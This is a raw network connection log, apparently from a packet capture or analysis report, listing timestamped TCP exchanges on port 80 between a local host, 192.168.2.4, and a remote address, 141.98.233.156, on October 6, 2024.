Oct 6, 2024 22:33:09.441464901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441502094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441515923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441540003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441555023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441570044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441580057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441585064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441598892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441625118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441625118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441698074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441713095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441729069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441742897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441757917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441773891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441807032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441847086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441869020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441884995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441885948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441900969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.441910982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441927910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.441967964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442095995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442110062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442125082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442140102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442143917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442147970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442162991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442162991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442178965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442179918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442193985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442204952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442209005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442224979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442248106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442387104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442399979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442430019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442451000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442452908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442468882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442483902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442492008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442503929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442507982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442516088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442527056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442539930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442564964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442703009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442715883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442751884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442842960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442857027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442872047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442879915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442886114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442900896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442914009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442919970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442924976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442935944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442948103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442950010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.442962885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442970991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.442986012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443022013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443049908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443049908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443049908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443248034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443264008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443279028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443310022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443336964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443375111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443475962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443491936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443506002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443521023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443531036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443536043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443542004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443552017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443558931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443567038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443581104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443583012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443603039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443624973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443794012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443809032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443824053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443839073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443847895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443856955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443871975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443892956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443895102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443908930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443922997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443932056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443938971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443953991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443953991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443967104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443968058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443984032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.443984985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.443998098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444001913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444013119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444020033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444044113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444067955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444582939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444597960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444612026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444627047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444641113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444641113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444657087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444664001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444673061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444677114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444688082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444700003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444700956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444713116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444715977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444730043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444730997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444746017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444749117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444758892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444760084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444773912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444776058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444791079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444792986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444804907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444812059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444819927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444833994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444834948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444850922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444858074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444864035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444881916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444888115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444897890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.444905043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444931030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.444952011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445521116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445535898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445550919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445564985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445570946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445579052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445580006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445595026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445600986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445610046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445622921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445626020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445637941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445647955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445652008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445667028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445671082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445686102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445693970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445702076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445714951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445717096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445732117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445739985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445744991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445759058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445761919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445774078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445787907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445787907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445801020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445804119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445818901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445821047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445833921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445835114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.445856094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.445882082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.446049929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.446063042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.446099043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.525002003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525043964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525058031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525115013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.525135994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.525146961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525161982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525177956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525192022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525198936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.525223970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.525249958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.525299072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.525356054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.527710915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527769089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527769089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.527785063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527808905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.527825117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.527888060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527903080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527916908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527930975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527945042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.527946949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.527971029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.527987957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528080940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528095961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528110027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528126001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528136969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528158903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528179884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528337002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528381109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528435946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528451920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528466940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528481007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528481007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528491974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528496027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528511047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528512955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528522968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528527021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528543949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528565884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528620958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528635025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528650045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528662920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528664112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528686047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528707981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528764963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528779030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528820038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528888941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528911114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528928041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528940916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528954029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528956890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528971910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528981924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.528987885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.528992891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529002905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529005051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529017925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529028893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529032946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529046059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529047966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529062986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529063940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529084921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529100895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529314995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529424906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529458046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529469967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529472113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529486895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529495955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529503107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529517889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529520035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529529095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529532909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529546976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529548883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529558897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529561043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529577017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529586077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529592037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529607058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529611111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529637098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529660940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.529966116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529979944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.529994965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530009031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530019045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530023098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530041933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530051947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530253887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530282021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530309916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530323029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530338049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530338049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530347109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530353069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530366898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530375004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530381918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530394077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530397892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530411959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530419111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530426979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530441046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530441999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530456066 CEST	80	49741	141.98.233.156	192.168.2.4
